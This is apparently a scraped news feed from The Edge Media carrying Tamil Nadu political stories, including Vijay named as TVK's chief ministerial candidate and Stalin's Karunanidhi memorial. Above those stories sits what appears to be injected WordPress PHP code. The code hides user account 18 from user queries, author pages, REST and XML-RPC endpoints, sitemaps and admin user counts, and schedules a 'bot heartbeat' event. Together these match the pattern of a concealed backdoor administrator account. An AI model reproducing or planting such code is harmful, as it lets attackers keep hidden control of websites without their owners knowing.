add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post TVK Declares Vijay as Chief Ministerial Candidate for Upcoming Assembly Election appeared first on The Edge Media.
]]>A resolution passed at the party’s meeting in Chennai said that the ruling DMK must be removed and a prosperous new Tamil Nadu must be built.
It added that the party accepts Vijay as its chief ministerial candidate and will welcome into its alliance those who are ready to acknowledge his leadership.
The resolution also emphasised that Vijay has been fully empowered to make final decisions regarding alliances.Another resolution noted that a manifesto committee will be formed to design a roadmap aimed at safeguarding the people of Tamil Nadu and guiding the state toward meaningful change.
The post TVK Declares Vijay as Chief Ministerial Candidate for Upcoming Assembly Election appeared first on The Edge Media.
]]>The post MK Stalin Announces ₹ 39-Crore Memorial For DMK Patriarch Karunanidhi appeared first on The Edge Media.
]]>The “Kalaignar Memorial” on the famous beach, where he has been laid to rest after his demise on August 7, 2018, will come up on 2.21 acres of land, Mr Stalin informed the state Assembly. Karunanidhi is fondly addressed as Kalaignar.
Leaders cutting across party lines, including main opposition party and DMK’s rival, AIADMK, welcomed the government’s announcement
Recalling the contributions of the late DMK stalwart in various spheres such as social welfare, transport, literature, education, urbanisation and infrastructure development, Mr Stalin hailed his father as the “sculptor of a modern Tamil Nadu.”
The post MK Stalin Announces ₹ 39-Crore Memorial For DMK Patriarch Karunanidhi appeared first on The Edge Media.
]]>The post TN CM, MK Stalin writes to the president regarding Rajiv Gandhi assassination case appeared first on The Edge Media.
]]>He has also demanded their immediate release. He says that the convicts have already paid a heavy price and suffered untold hardships and agony in the past three decades. He has also mentioned that the courts are also recognizing the need to decongest prisons due to the ongoing Covid crisis.
He also added that there has already been an inordinate delay in the consideration of their pleas for remission. He says this is what the other political parties of Tamil Nadu and the people of Tamil Nadu want. DMK in their manifesto had also promised to efforts to secure the release of the convicts.
The post TN CM, MK Stalin writes to the president regarding Rajiv Gandhi assassination case appeared first on The Edge Media.
]]>The post Delhi Can’t Decide What The People Of Tamil Nadu Should Learn: TN School Eduction Minister appeared first on The Edge Media.
]]>“The implementation of three language systems would pave the way for imposition of Hindi and Sanskrit. Through the policy, the centre insists that there should be two Indian languages, Tamil will naturally be the first language here. Centre is talking as if English foes not exist. Ours is a multi-cultural and multi-linguistic society and we can’t accept the imposition of Hindi and Sanskrit.”The School Education Minister of Tamil Nadu, Anbil Mahesh Poyyamazohi.
I will be virtually attending the meeting with State Education Secretaries on 17th May, 2021 at 11 AM. The objective of the meeting is to review the #COVID situation, online education, and work around NEP. pic.twitter.com/6VMXkBldLU
— Dr. Ramesh Pokhriyal Nishank ( Modi Ka Parivar) (@DrRPNishank) May 16, 2021
Poyyamazohi also said that they also offered some solutions but there has been no response from the centre. In view of this, they had boycotted the meeting convened by Ramesh Pokhriyal, “Nishank”. It was organized to discuss the implementation of NEP with the State Education Secretaries.
The post Delhi Can’t Decide What The People Of Tamil Nadu Should Learn: TN School Eduction Minister appeared first on The Edge Media.
]]>